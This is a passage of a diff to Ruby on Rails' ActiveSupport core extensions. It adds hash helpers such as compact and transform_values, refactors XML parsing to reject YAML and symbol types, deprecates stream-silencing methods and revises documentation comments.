+ def self.uuid_v5(uuid_namespace, name)
+ self.uuid_from_hash(Digest::SHA1, uuid_namespace, name)
+ end
+
+ # Convenience method for SecureRandom.uuid.
+ def self.uuid_v4
+ SecureRandom.uuid
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/core_ext/enumerable.rb b/activesupport/lib/active_support/core_ext/enumerable.rb
index 4501b7ff58..1343beb87a 100644
--- a/activesupport/lib/active_support/core_ext/enumerable.rb
+++ b/activesupport/lib/active_support/core_ext/enumerable.rb
@@ -35,7 +35,7 @@ module Enumerable
if block_given?
Hash[map { |elem| [yield(elem), elem] }]
else
- to_enum :index_by
+ to_enum(:index_by) { size if respond_to?(:size) }
end
end
diff --git a/activesupport/lib/active_support/core_ext/exception.rb b/activesupport/lib/active_support/core_ext/exception.rb
deleted file mode 100644
index ba7757ea07..0000000000
--- a/activesupport/lib/active_support/core_ext/exception.rb
+++ /dev/null
@@ -1,3 +0,0 @@
-module ActiveSupport
- FrozenObjectError = RuntimeError
-end
diff --git a/activesupport/lib/active_support/core_ext/file/atomic.rb b/activesupport/lib/active_support/core_ext/file/atomic.rb
index c3e6124a57..38374af388 100644
--- a/activesupport/lib/active_support/core_ext/file/atomic.rb
+++ b/activesupport/lib/active_support/core_ext/file/atomic.rb
@@ -23,7 +23,7 @@ class File
yield temp_file
temp_file.close
- if File.exists?(file_name)
+ if File.exist?(file_name)
# Get original file permissions
old_stat = stat(file_name)
else
@@ -40,7 +40,7 @@ class File
chown(old_stat.uid, old_stat.gid, file_name)
# This operation will affect filesystem ACL's
chmod(old_stat.mode, file_name)
- rescue Errno::EPERM
+ rescue Errno::EPERM, Errno::EACCES
# Changing file ownership failed, moving on.
end
end
diff --git a/activesupport/lib/active_support/core_ext/hash.rb b/activesupport/lib/active_support/core_ext/hash.rb
index 501483498d..af4d1da0eb 100644
--- a/activesupport/lib/active_support/core_ext/hash.rb
+++ b/activesupport/lib/active_support/core_ext/hash.rb
@@ -1,8 +1,9 @@
+require 'active_support/core_ext/hash/compact'
require 'active_support/core_ext/hash/conversions'
require 'active_support/core_ext/hash/deep_merge'
-require 'active_support/core_ext/hash/diff'
require 'active_support/core_ext/hash/except'
require 'active_support/core_ext/hash/indifferent_access'
require 'active_support/core_ext/hash/keys'
require 'active_support/core_ext/hash/reverse_merge'
require 'active_support/core_ext/hash/slice'
+require 'active_support/core_ext/hash/transform_values'
diff --git a/activesupport/lib/active_support/core_ext/hash/compact.rb b/activesupport/lib/active_support/core_ext/hash/compact.rb
new file mode 100644
index 0000000000..5dc9a05ec7
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/hash/compact.rb
@@ -0,0 +1,20 @@
+class Hash
+ # Returns a hash with non +nil+ values.
+ #
+ # hash = { a: true, b: false, c: nil}
+ # hash.compact # => { a: true, b: false}
+ # hash # => { a: true, b: false, c: nil}
+ # { c: nil }.compact # => {}
+ def compact
+ self.select { |_, value| !value.nil? }
+ end
+
+ # Replaces current hash with non +nil+ values.
+ #
+ # hash = { a: true, b: false, c: nil}
+ # hash.compact! # => { a: true, b: false}
+ # hash # => { a: true, b: false}
+ def compact!
+ self.reject! { |_, value| value.nil? }
+ end
+end
diff --git a/activesupport/lib/active_support/core_ext/hash/conversions.rb b/activesupport/lib/active_support/core_ext/hash/conversions.rb
index e1ce9f371a..2149d4439d 100644
--- a/activesupport/lib/active_support/core_ext/hash/conversions.rb
+++ b/activesupport/lib/active_support/core_ext/hash/conversions.rb
@@ -10,7 +10,7 @@ require 'active_support/core_ext/string/inflections'
class Hash
# Returns a string containing an XML representation of its receiver:
#
- # {'foo' => 1, 'bar' => 2}.to_xml
+ # { foo: 1, bar: 2 }.to_xml
# # =>
# # <?xml version="1.0" encoding="UTF-8"?>
# # <hash>
@@ -43,7 +43,10 @@ class Hash
# end
#
# { foo: Foo.new }.to_xml(skip_instruct: true)
- # # => "<hash><bar>fooing!</bar></hash>"
+ # # =>
+ # # <hash>
+ # # <bar>fooing!</bar>
+ # # </hash>
#
# * Otherwise, a node with +key+ as tag is created with a string representation of
# +value+ as text node. If +value+ is +nil+ an attribute "nil" set to "true" is added.
@@ -101,56 +104,57 @@ class Hash
#
# hash = Hash.from_xml(xml)
# # => {"hash"=>{"foo"=>1, "bar"=>2}}
- def from_xml(xml)
- typecast_xml_value(unrename_keys(ActiveSupport::XmlMini.parse(xml)))
+ #
+ # +DisallowedType+ is raised if the XML contains attributes with <tt>type="yaml"</tt> or
+ # <tt>type="symbol"</tt>. Use <tt>Hash.from_trusted_xml</tt> to parse this XML.
+ def from_xml(xml, disallowed_types = nil)
+ ActiveSupport::XMLConverter.new(xml, disallowed_types).to_h
+ end
+
+ # Builds a Hash from XML just like <tt>Hash.from_xml</tt>, but also allows Symbol and YAML.
+ def from_trusted_xml(xml)
+ from_xml xml, []
+ end
+ end
+end
+
+module ActiveSupport
+ class XMLConverter # :nodoc:
+ class DisallowedType < StandardError
+ def initialize(type)
+ super "Disallowed type attribute: #{type.inspect}"
+ end
+ end
+
+ DISALLOWED_TYPES = %w(symbol yaml)
+
+ def initialize(xml, disallowed_types = nil)
+ @xml = normalize_keys(XmlMini.parse(xml))
+ @disallowed_types = disallowed_types || DISALLOWED_TYPES
+ end
+
+ def to_h
+ deep_to_h(@xml)
end
private
- def typecast_xml_value(value)
- case value
+ def normalize_keys(params)
+ case params
when Hash
- if value['type'] == 'array'
- _, entries = Array.wrap(value.detect { |k,v| not v.is_a?(String) })
- if entries.nil? || (c = value['__content__'] && c.blank?)
- []
- else
- case entries # something weird with classes not matching here. maybe singleton methods breaking is_a?
- when Array
- entries.collect { |v| typecast_xml_value(v) }
- when Hash
- [typecast_xml_value(entries)]
- else
- raise "can't typecast #{entries.inspect}"
- end
- end
- elsif value['type'] == 'file' ||
- (value['__content__'] && (value.keys.size == 1 || value['__content__'].present?))
- content = value['__content__']
- if parser = ActiveSupport::XmlMini::PARSING[value['type']]
- parser.arity == 1 ? parser.call(content) : parser.call(content, value)
- else
- content
- end
- elsif value['type'] == 'string' && value['nil'] != 'true'
- ''
- # blank or nil parsed values are represented by nil
- elsif value.blank? || value['nil'] == 'true'
- nil
- # If the type is the only element which makes it then
- # this still makes the value nil, except if type is
- # a XML node(where type['value'] is a Hash)
- elsif value['type'] && value.size == 1 && !value['type'].is_a?(::Hash)
- nil
- else
- xml_value = Hash[value.map { |k,v| [k, typecast_xml_value(v)] }]
+ Hash[params.map { |k,v| [k.to_s.tr('-', '_'), normalize_keys(v)] } ]
+ when Array
+ params.map { |v| normalize_keys(v) }
+ else
+ params
+ end
+ end
- # Turn { files: { file: #<StringIO> } } into { files: #<StringIO> } so it is compatible with
- # how multipart uploaded files from HTML appear
- xml_value['file'].is_a?(StringIO) ? xml_value['file'] : xml_value
- end
+ def deep_to_h(value)
+ case value
+ when Hash
+ process_hash(value)
when Array
- value.map! { |i| typecast_xml_value(i) }
- value.length > 1 ? value : value.first
+ process_array(value)
when String
value
else
@@ -158,15 +162,82 @@ class Hash
end
end
- def unrename_keys(params)
- case params
- when Hash
- Hash[params.map { |k,v| [k.to_s.tr('-', '_'), unrename_keys(v)] } ]
- when Array
- params.map { |v| unrename_keys(v) }
+ def process_hash(value)
+ if value.include?('type') && !value['type'].is_a?(Hash) && @disallowed_types.include?(value['type'])
+ raise DisallowedType, value['type']
+ end
+
+ if become_array?(value)
+ _, entries = Array.wrap(value.detect { |k,v| not v.is_a?(String) })
+ if entries.nil? || value['__content__'].try(:empty?)
+ []
else
- params
+ case entries
+ when Array
+ entries.collect { |v| deep_to_h(v) }
+ when Hash
+ [deep_to_h(entries)]
+ else
+ raise "can't typecast #{entries.inspect}"
+ end
+ end
+ elsif become_content?(value)
+ process_content(value)
+
+ elsif become_empty_string?(value)
+ ''
+ elsif become_hash?(value)
+ xml_value = Hash[value.map { |k,v| [k, deep_to_h(v)] }]
+
+ # Turn { files: { file: #<StringIO> } } into { files: #<StringIO> } so it is compatible with
+ # how multipart uploaded files from HTML appear
+ xml_value['file'].is_a?(StringIO) ? xml_value['file'] : xml_value
+ end
+ end
+
+ def become_content?(value)
+ value['type'] == 'file' || (value['__content__'] && (value.keys.size == 1 || value['__content__'].present?))
+ end
+
+ def become_array?(value)
+ value['type'] == 'array'
+ end
+
+ def become_empty_string?(value)
+ # { "string" => true }
+ # No tests fail when the second term is removed.
+ value['type'] == 'string' && value['nil'] != 'true'
+ end
+
+ def become_hash?(value)
+ !nothing?(value) && !garbage?(value)
+ end
+
+ def nothing?(value)
+ # blank or nil parsed values are represented by nil
+ value.blank? || value['nil'] == 'true'
+ end
+
+ def garbage?(value)
+ # If the type is the only element which makes it then
+ # this still makes the value nil, except if type is
+ # an XML node(where type['value'] is a Hash)
+ value['type'] && !value['type'].is_a?(::Hash) && value.size == 1
+ end
+
+ def process_content(value)
+ content = value['__content__']
+ if parser = ActiveSupport::XmlMini::PARSING[value['type']]
+ parser.arity == 1 ? parser.call(content) : parser.call(content, value)
+ else
+ content
end
end
+
+ def process_array(value)
+ value.map! { |i| deep_to_h(i) }
+ value.length > 1 ? value : value.first
+ end
+
end
end
diff --git a/activesupport/lib/active_support/core_ext/hash/deep_merge.rb b/activesupport/lib/active_support/core_ext/hash/deep_merge.rb
index e07db50b77..763d563231 100644
--- a/activesupport/lib/active_support/core_ext/hash/deep_merge.rb
+++ b/activesupport/lib/active_support/core_ext/hash/deep_merge.rb
@@ -1,27 +1,38 @@
class Hash
# Returns a new hash with +self+ and +other_hash+ merged recursively.
#
- # h1 = { x: { y: [4,5,6] }, z: [7,8,9] }
- # h2 = { x: { y: [7,8,9] }, z: 'xyz' }
+ # h1 = { a: true, b: { c: [1, 2, 3] } }
+ # h2 = { a: false, b: { x: [3, 4, 5] } }
#
- # h1.deep_merge(h2) #=> {x: {y: [7, 8, 9]}, z: "xyz"}
- # h2.deep_merge(h1) #=> {x: {y: [4, 5, 6]}, z: [7, 8, 9]}
- # h1.deep_merge(h2) { |key, old, new| Array.wrap(old) + Array.wrap(new) }
- # #=> {:x=>{:y=>[4, 5, 6, 7, 8, 9]}, :z=>[7, 8, 9, "xyz"]}
+ # h1.deep_merge(h2) #=> { a: false, b: { c: [1, 2, 3], x: [3, 4, 5] } }
+ #
+ # Like with Hash#merge in the standard library, a block can be provided
+ # to merge values:
+ #
+ # h1 = { a: 100, b: 200, c: { c1: 100 } }
+ # h2 = { b: 250, c: { c1: 200 } }
+ # h1.deep_merge(h2) { |key, this_val, other_val| this_val + other_val }
+ # # => { a: 100, b: 450, c: { c1: 300 } }
def deep_merge(other_hash, &block)
dup.deep_merge!(other_hash, &block)
end
# Same as +deep_merge+, but modifies +self+.
def deep_merge!(other_hash, &block)
- other_hash.each_pair do |k,v|
- tv = self[k]
- if tv.is_a?(Hash) && v.is_a?(Hash)
- self[k] = tv.deep_merge(v, &block)
+ other_hash.each_pair do |current_key, other_value|
+ this_value = self[current_key]
+
+ self[current_key] = if this_value.is_a?(Hash) && other_value.is_a?(Hash)
+ this_value.deep_merge(other_value, &block)
else
- self[k] = block && tv ? block.call(k, tv, v) : v
+ if block_given? && key?(current_key)
+ block.call(current_key, this_value, other_value)
+ else
+ other_value
+ end
end
end
+
self
end
end
diff --git a/activesupport/lib/active_support/core_ext/hash/diff.rb b/activesupport/lib/active_support/core_ext/hash/diff.rb
deleted file mode 100644
index 5f3868b5b0..0000000000
--- a/activesupport/lib/active_support/core_ext/hash/diff.rb
+++ /dev/null
@@ -1,14 +0,0 @@
-class Hash
- # Returns a hash that represents the difference between two hashes.
- #
- # {1 => 2}.diff(1 => 2) # => {}
- # {1 => 2}.diff(1 => 3) # => {1 => 2}
- # {}.diff(1 => 2) # => {1 => 2}
- # {1 => 2, 3 => 4}.diff(1 => 2) # => {3 => 4}
- def diff(other)
- ActiveSupport::Deprecation.warn "Hash#diff is no longer used inside of Rails, and is being deprecated with no replacement. If you're using it to compare hashes for the purpose of testing, please use MiniTest's assert_equal instead."
- dup.
- delete_if { |k, v| other[k] == v }.
- merge!(other.dup.delete_if { |k, v| has_key?(k) })
- end
-end
diff --git a/activesupport/lib/active_support/core_ext/hash/except.rb b/activesupport/lib/active_support/core_ext/hash/except.rb
index 5cb00d0ebd..6e397abf51 100644
--- a/activesupport/lib/active_support/core_ext/hash/except.rb
+++ b/activesupport/lib/active_support/core_ext/hash/except.rb
@@ -1,13 +1,19 @@
class Hash
- # Return a hash that includes everything but the given keys. This is useful for
- # limiting a set of parameters to everything but a few known toggles:
+ # Returns a hash that includes everything but the given keys.
+ # hash = { a: true, b: false, c: nil}
+ # hash.except(:c) # => { a: true, b: false}
+ # hash # => { a: true, b: false, c: nil}
#
- # @person.update_attributes(params[:person].except(:admin))
+ # This is useful for limiting a set of parameters to everything but a few known toggles:
+ # @person.update(params[:person].except(:admin))
def except(*keys)
dup.except!(*keys)
end
# Replaces the hash without the given keys.
+ # hash = { a: true, b: false, c: nil}
+ # hash.except!(:c) # => { a: true, b: false}
+ # hash # => { a: true, b: false }
def except!(*keys)
keys.each { |key| delete(key) }
self
diff --git a/activesupport/lib/active_support/core_ext/hash/indifferent_access.rb b/activesupport/lib/active_support/core_ext/hash/indifferent_access.rb
index 981e8436bf..28cb3e2a3b 100644
--- a/activesupport/lib/active_support/core_ext/hash/indifferent_access.rb
+++ b/activesupport/lib/active_support/core_ext/hash/indifferent_access.rb
@@ -18,5 +18,6 @@ class Hash
#
# b = { b: 1 }
# { a: b }.with_indifferent_access['a'] # calls b.nested_under_indifferent_access
+ # # => {"b"=>1}
alias nested_under_indifferent_access with_indifferent_access
end
diff --git a/activesupport/lib/active_support/core_ext/hash/keys.rb b/activesupport/lib/active_support/core_ext/hash/keys.rb
index b4c451ace4..9297a59c46 100644
--- a/activesupport/lib/active_support/core_ext/hash/keys.rb
+++ b/activesupport/lib/active_support/core_ext/hash/keys.rb
@@ -1,12 +1,13 @@
class Hash
- # Return a new hash with all keys converted using the block operation.
+ # Returns a new hash with all keys converted using the block operation.
#
# hash = { name: 'Rob', age: '28' }
#
# hash.transform_keys{ |key| key.to_s.upcase }
- # # => { "NAME" => "Rob", "AGE" => "28" }
+ # # => {"NAME"=>"Rob", "AGE"=>"28"}
def transform_keys
- result = {}
+ return enum_for(:transform_keys) unless block_given?
+ result = self.class.new
each_key do |key|
result[yield(key)] = self[key]
end
@@ -16,35 +17,36 @@ class Hash
# Destructively convert all keys using the block operations.
# Same as transform_keys but modifies +self+.
def transform_keys!
+ return enum_for(:transform_keys!) unless block_given?
keys.each do |key|
self[yield(key)] = delete(key)
end
self
end
- # Return a new hash with all keys converted to strings.
+ # Returns a new hash with all keys converted to strings.
#
# hash = { name: 'Rob', age: '28' }
#
# hash.stringify_keys
- # #=> { "name" => "Rob", "age" => "28" }
+ # # => {"name"=>"Rob", "age"=>"28"}
def stringify_keys
- transform_keys{ |key| key.to_s }
+ transform_keys(&:to_s)
end
# Destructively convert all keys to strings. Same as
# +stringify_keys+, but modifies +self+.
def stringify_keys!
- transform_keys!{ |key| key.to_s }
+ transform_keys!(&:to_s)
end
- # Return a new hash with all keys converted to symbols, as long as
+ # Returns a new hash with all keys converted to symbols, as long as
# they respond to +to_sym+.
#
# hash = { 'name' => 'Rob', 'age' => '28' }
#
# hash.symbolize_keys
- # #=> { name: "Rob", age: "28" }
+ # # => {:name=>"Rob", :age=>"28"}
def symbolize_keys
transform_keys{ |key| key.to_sym rescue key }
end
@@ -57,82 +59,108 @@ class Hash
end
alias_method :to_options!, :symbolize_keys!
- # Validate all keys in a hash match <tt>*valid_keys</tt>, raising ArgumentError
- # on a mismatch. Note that keys are NOT treated indifferently, meaning if you
- # use strings for keys but assert symbols as keys, this will fail.
+ # Validate all keys in a hash match <tt>*valid_keys</tt>, raising
+ # ArgumentError on a mismatch.
#
- # { name: 'Rob', years: '28' }.assert_valid_keys(:name, :age) # => raises "ArgumentError: Unknown key: years"
- # { name: 'Rob', age: '28' }.assert_valid_keys('name', 'age') # => raises "ArgumentError: Unknown key: name"
+ # Note that keys are treated differently than HashWithIndifferentAccess,
+ # meaning that string and symbol keys will not match.
+ #
+ # { name: 'Rob', years: '28' }.assert_valid_keys(:name, :age) # => raises "ArgumentError: Unknown key: :years. Valid keys are: :name, :age"
+ # { name: 'Rob', age: '28' }.assert_valid_keys('name', 'age') # => raises "ArgumentError: Unknown key: :name. Valid keys are: 'name', 'age'"
# { name: 'Rob', age: '28' }.assert_valid_keys(:name, :age) # => passes, raises nothing
def assert_valid_keys(*valid_keys)
valid_keys.flatten!
each_key do |k|
- raise ArgumentError.new("Unknown key: #{k}") unless valid_keys.include?(k)
+ unless valid_keys.include?(k)
+ raise ArgumentError.new("Unknown key: #{k.inspect}. Valid keys are: #{valid_keys.map(&:inspect).join(', ')}")
+ end
end
end
- # Return a new hash with all keys converted by the block operation.
+ # Returns a new hash with all keys converted by the block operation.
# This includes the keys from the root hash and from all
- # nested hashes.
+ # nested hashes and arrays.
#
# hash = { person: { name: 'Rob', age: '28' } }
#
# hash.deep_transform_keys{ |key| key.to_s.upcase }
- # # => { "PERSON" => { "NAME" => "Rob", "AGE" => "28" } }
+ # # => {"PERSON"=>{"NAME"=>"Rob", "AGE"=>"28"}}
def deep_transform_keys(&block)
- result = {}
- each do |key, value|
- result[yield(key)] = value.is_a?(Hash) ? value.deep_transform_keys(&block) : value
- end
- result
+ _deep_transform_keys_in_object(self, &block)
end
# Destructively convert all keys by using the block operation.
# This includes the keys from the root hash and from all
- # nested hashes.
+ # nested hashes and arrays.
def deep_transform_keys!(&block)
- keys.each do |key|
- value = delete(key)
- self[yield(key)] = value.is_a?(Hash) ? value.deep_transform_keys!(&block) : value
- end
- self
+ _deep_transform_keys_in_object!(self, &block)
end
- # Return a new hash with all keys converted to strings.
+ # Returns a new hash with all keys converted to strings.
# This includes the keys from the root hash and from all
- # nested hashes.
+ # nested hashes and arrays.
#
# hash = { person: { name: 'Rob', age: '28' } }
#
# hash.deep_stringify_keys
- # # => { "person" => { "name" => "Rob", "age" => "28" } }
+ # # => {"person"=>{"name"=>"Rob", "age"=>"28"}}
def deep_stringify_keys
- deep_transform_keys{ |key| key.to_s }
+ deep_transform_keys(&:to_s)
end
# Destructively convert all keys to strings.
# This includes the keys from the root hash and from all
- # nested hashes.
+ # nested hashes and arrays.
def deep_stringify_keys!
- deep_transform_keys!{ |key| key.to_s }
+ deep_transform_keys!(&:to_s)
end
- # Return a new hash with all keys converted to symbols, as long as
+ # Returns a new hash with all keys converted to symbols, as long as
# they respond to +to_sym+. This includes the keys from the root hash
- # and from all nested hashes.
+ # and from all nested hashes and arrays.
#
# hash = { 'person' => { 'name' => 'Rob', 'age' => '28' } }
#
# hash.deep_symbolize_keys
- # # => { person: { name: "Rob", age: "28" } }
+ # # => {:person=>{:name=>"Rob", :age=>"28"}}
def deep_symbolize_keys
deep_transform_keys{ |key| key.to_sym rescue key }
end
# Destructively convert all keys to symbols, as long as they respond
# to +to_sym+. This includes the keys from the root hash and from all
- # nested hashes.
+ # nested hashes and arrays.
def deep_symbolize_keys!
deep_transform_keys!{ |key| key.to_sym rescue key }
end
+
+ private
+ # support methods for deep transforming nested hashes and arrays
+ def _deep_transform_keys_in_object(object, &block)
+ case object
+ when Hash
+ object.each_with_object({}) do |(key, value), result|
+ result[yield(key)] = _deep_transform_keys_in_object(value, &block)
+ end
+ when Array
+ object.map {|e| _deep_transform_keys_in_object(e, &block) }
+ else
+ object
+ end
+ end
+
+ def _deep_transform_keys_in_object!(object, &block)
+ case object
+ when Hash
+ object.keys.each do |key|
+ value = object.delete(key)
+ object[yield(key)] = _deep_transform_keys_in_object!(value, &block)
+ end
+ object
+ when Array
+ object.map! {|e| _deep_transform_keys_in_object!(e, &block)}
+ else
+ object
+ end
+ end
end
diff --git a/activesupport/lib/active_support/core_ext/hash/slice.rb b/activesupport/lib/active_support/core_ext/hash/slice.rb
index 9fa9b3dac4..41b2279013 100644
--- a/activesupport/lib/active_support/core_ext/hash/slice.rb
+++ b/activesupport/lib/active_support/core_ext/hash/slice.rb
@@ -1,6 +1,12 @@
class Hash
- # Slice a hash to include only the given keys. This is useful for
- # limiting an options hash to valid keys before passing to a method:
+ # Slice a hash to include only the given keys. Returns a hash containing
+ # the given keys.
+ #
+ # { a: 1, b: 2, c: 3, d: 4 }.slice(:a, :b)
+ # # => {:a=>1, :b=>2}
+ #
+ # This is useful for limiting an options hash to valid keys before
+ # passing to a method:
#
# def search(criteria = {})
# criteria.assert_valid_keys(:mass, :velocity, :time)
@@ -26,6 +32,8 @@ class Hash
keys.map! { |key| convert_key(key) } if respond_to?(:convert_key, true)
omit = slice(*self.keys - keys)
hash = slice(*keys)
+ hash.default = default
+ hash.default_proc = default_proc if default_proc
replace(hash)
omit
end
diff --git a/activesupport/lib/active_support/core_ext/hash/transform_values.rb b/activesupport/lib/active_support/core_ext/hash/transform_values.rb
new file mode 100644
index 0000000000..e9bcce761f
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/hash/transform_values.rb
@@ -0,0 +1,23 @@
+class Hash
+ # Returns a new hash with the results of running +block+ once for every value.
+ # The keys are unchanged.
+ #
+ # { a: 1, b: 2, c: 3 }.transform_values { |x| x * 2 }
+ # # => { a: 2, b: 4, c: 6 }
+ def transform_values
+ return enum_for(:transform_values) unless block_given?
+ result = self.class.new
+ each do |key, value|
+ result[key] = yield(value)
+ end
+ result
+ end
+
+ # Destructive +transform_values+
+ def transform_values!
+ return enum_for(:transform_values!) unless block_given?
+ each do |key, value|
+ self[key] = yield(value)
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/core_ext/integer/multiple.rb b/activesupport/lib/active_support/core_ext/integer/multiple.rb
index 7c6c2f1ca7..c668c7c2eb 100644
--- a/activesupport/lib/active_support/core_ext/integer/multiple.rb
+++ b/activesupport/lib/active_support/core_ext/integer/multiple.rb
@@ -1,9 +1,9 @@
class Integer
# Check whether the integer is evenly divisible by the argument.
#
- # 0.multiple_of?(0) #=> true
- # 6.multiple_of?(5) #=> false
- # 10.multiple_of?(2) #=> true
+ # 0.multiple_of?(0) # => true
+ # 6.multiple_of?(5) # => false
+ # 10.multiple_of?(2) # => true
def multiple_of?(number)
number != 0 ? self % number == 0 : zero?
end
diff --git a/activesupport/lib/active_support/core_ext/integer/time.rb b/activesupport/lib/active_support/core_ext/integer/time.rb
index 9fb4f6b73a..82080ffe51 100644
--- a/activesupport/lib/active_support/core_ext/integer/time.rb
+++ b/activesupport/lib/active_support/core_ext/integer/time.rb
@@ -1,3 +1,6 @@
+require 'active_support/duration'
+require 'active_support/core_ext/numeric/time'
+
class Integer
# Enables the use of time calculations and declarations, like <tt>45.minutes +
# 2.hours + 4.years</tt>.
diff --git a/activesupport/lib/active_support/core_ext/kernel.rb b/activesupport/lib/active_support/core_ext/kernel.rb
index 0275f4c037..293a3b2619 100644
--- a/activesupport/lib/active_support/core_ext/kernel.rb
+++ b/activesupport/lib/active_support/core_ext/kernel.rb
@@ -1,4 +1,5 @@
-require 'active_support/core_ext/kernel/reporting'
require 'active_support/core_ext/kernel/agnostics'
-require 'active_support/core_ext/kernel/debugger'
+require 'active_support/core_ext/kernel/concern'
+require 'active_support/core_ext/kernel/debugger' if RUBY_VERSION < '2.0.0'
+require 'active_support/core_ext/kernel/reporting'
require 'active_support/core_ext/kernel/singleton_class'
diff --git a/activesupport/lib/active_support/core_ext/kernel/concern.rb b/activesupport/lib/active_support/core_ext/kernel/concern.rb
new file mode 100644
index 0000000000..bf72caa058
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/kernel/concern.rb
@@ -0,0 +1,10 @@
+require 'active_support/core_ext/module/concerning'
+
+module Kernel
+ # A shortcut to define a toplevel concern, not within a module.
+ #
+ # See Module::Concerning for more.
+ def concern(topic, &module_definition)
+ Object.concern topic, &module_definition
+ end
+end
diff --git a/activesupport/lib/active_support/core_ext/kernel/reporting.rb b/activesupport/lib/active_support/core_ext/kernel/reporting.rb
index 7b518821c8..f5179552bb 100644
--- a/activesupport/lib/active_support/core_ext/kernel/reporting.rb
+++ b/activesupport/lib/active_support/core_ext/kernel/reporting.rb
@@ -31,9 +31,13 @@ module Kernel
# For compatibility
def silence_stderr #:nodoc:
+ ActiveSupport::Deprecation.warn(
+ "`#silence_stderr` is deprecated and will be removed in the next release."
+ ) #not thread-safe
silence_stream(STDERR) { yield }
end
+ # Deprecated : this method is not thread safe
# Silences any stream for the duration of the block.
#
# silence_stream(STDOUT) do
@@ -41,6 +45,8 @@ module Kernel
# end
#
# puts 'But this will'
+ #
+ # This method is not thread-safe.
def silence_stream(stream)
old_stream = stream.dup
stream.reopen(RbConfig::CONFIG['host_os'] =~ /mswin|mingw/ ? 'NUL:' : '/dev/null')
@@ -48,6 +54,7 @@ module Kernel
yield
ensure
stream.reopen(old_stream)
+ old_stream.close
end
# Blocks and ignores any exception passed as argument if raised within the block.
@@ -59,10 +66,8 @@ module Kernel
#
# puts 'This code gets executed and nothing related to ZeroDivisionError was seen'
def suppress(*exception_classes)
- begin yield
- rescue Exception => e
- raise unless exception_classes.any? { |cls| e.kind_of?(cls) }
- end
+ yield
+ rescue *exception_classes
end
# Captures the given stream and returns it:
@@ -81,6 +86,9 @@ module Kernel
# stream = capture(:stderr) { system('echo error 1>&2') }
# stream # => "error\n"
def capture(stream)
+ ActiveSupport::Deprecation.warn(
+ "`#capture(stream)` is deprecated and will be removed in the next release."
+ ) #not thread-safe
stream = stream.to_s
captured_stream = Tempfile.new(stream)
stream_io = eval("$#{stream}")
@@ -92,6 +100,7 @@ module Kernel
stream_io.rewind
return captured_stream.read
ensure
+ captured_stream.close
captured_stream.unlink
stream_io.reopen(origin_stream)
end
@@ -100,7 +109,12 @@ module Kernel
# Silences both STDOUT and STDERR, even for subprocesses.
#
# quietly { system 'bundle install' }
+ #
+ # This method is not thread-safe.
def quietly
+ ActiveSupport::Deprecation.warn(
+ "`#quietly` is deprecated and will be removed in the next release."
+ ) #not thread-safe
silence_stream(STDOUT) do
silence_stream(STDERR) do
yield
diff --git a/activesupport/lib/active_support/core_ext/load_error.rb b/activesupport/lib/active_support/core_ext/load_error.rb
index fe24f3716d..768b980f21 100644
--- a/activesupport/lib/active_support/core_ext/load_error.rb
+++ b/activesupport/lib/active_support/core_ext/load_error.rb
@@ -7,6 +7,7 @@ class LoadError
]
unless method_defined?(:path)
+ # Returns the path which was unable to be loaded.
def path
@path ||= begin
REGEXPS.find do |regex|
@@ -17,9 +18,11 @@ class LoadError
end
end
+ # Returns true if the given path name (except perhaps for the ".rb"
+ # extension) is the missing file which caused the exception to be raised.
def is_missing?(location)
location.sub(/\.rb$/, '') == path.sub(/\.rb$/, '')
end
end
-MissingSourceFile = LoadError \ No newline at end of file
+MissingSourceFile = LoadError
diff --git a/activesupport/lib/active_support/core_ext/logger.rb b/activesupport/lib/active_support/core_ext/logger.rb
deleted file mode 100644
index 16fce81445..0000000000
--- a/activesupport/lib/active_support/core_ext/logger.rb
+++ /dev/null
@@ -1,84 +0,0 @@
-require 'active_support/core_ext/class/attribute_accessors'
-require 'active_support/deprecation'
-
-ActiveSupport::Deprecation.warn 'this file is deprecated and will be removed'
-
-# Adds the 'around_level' method to Logger.
-class Logger #:nodoc:
- def self.define_around_helper(level)
- module_eval <<-end_eval, __FILE__, __LINE__ + 1
- def around_#{level}(before_message, after_message) # def around_debug(before_message, after_message, &block)
- self.#{level}(before_message) # self.debug(before_message)
- return_value = yield(self) # return_value = yield(self)
- self.#{level}(after_message) # self.debug(after_message)
- return_value # return_value
- end # end
- end_eval
- end
- [:debug, :info, :error, :fatal].each {|level| define_around_helper(level) }
-end
-
-require 'logger'
-
-# Extensions to the built-in Ruby logger.
-#
-# If you want to use the default log formatter as defined in the Ruby core, then you
-# will need to set the formatter for the logger as in:
-#
-# logger.formatter = Formatter.new
-#
-# You can then specify the datetime format, for example:
-#
-# logger.datetime_format = "%Y-%m-%d"
-#
-# Note: This logger is deprecated in favor of ActiveSupport::BufferedLogger
-class Logger
- ##
- # :singleton-method:
- # Set to false to disable the silencer
- cattr_accessor :silencer
- self.silencer = true
-
- # Silences the logger for the duration of the block.
- def silence(temporary_level = Logger::ERROR)
- if silencer
- begin
- old_logger_level, self.level = level, temporary_level
- yield self
- ensure
- self.level = old_logger_level
- end
- else
- yield self
- end
- end
-
- alias :old_datetime_format= :datetime_format=
- # Logging date-time format (string passed to +strftime+). Ignored if the formatter
- # does not respond to datetime_format=.
- def datetime_format=(format)
- formatter.datetime_format = format if formatter.respond_to?(:datetime_format=)
- end
-
- alias :old_datetime_format :datetime_format
- # Get the logging datetime format. Returns nil if the formatter does not support
- # datetime formatting.
- def datetime_format
- formatter.datetime_format if formatter.respond_to?(:datetime_format)
- end
-
- alias :old_initialize :initialize
- # Overwrite initialize to set a default formatter.
- def initialize(*args)
- old_initialize(*args)
- self.formatter = SimpleFormatter.new
- end
-
- # Simple formatter which only displays the message.
- class SimpleFormatter < Logger::Formatter
- # This method is invoked when a log event occurs
- def call(severity, timestamp, progname, msg)
- "#{String === msg ? msg : msg.inspect}\n"
- end
- end
-end
diff --git a/activesupport/lib/active_support/core_ext/marshal.rb b/activesupport/lib/active_support/core_ext/marshal.rb
index fec3051c0c..56c79c04bd 100644
--- a/activesupport/lib/active_support/core_ext/marshal.rb
+++ b/activesupport/lib/active_support/core_ext/marshal.rb
@@ -1,21 +1,21 @@
+require 'active_support/core_ext/module/aliasing'
+
module Marshal
class << self
def load_with_autoloading(source)
- begin
- load_without_autoloading(source)
- rescue ArgumentError, NameError => exc
- if exc.message.match(%r|undefined class/module (.+)|)
- # try loading the class/module
- $1.constantize
- # if it is a IO we need to go back to read the object
- source.rewind if source.respond_to?(:rewind)
- retry
- else
- raise exc
- end
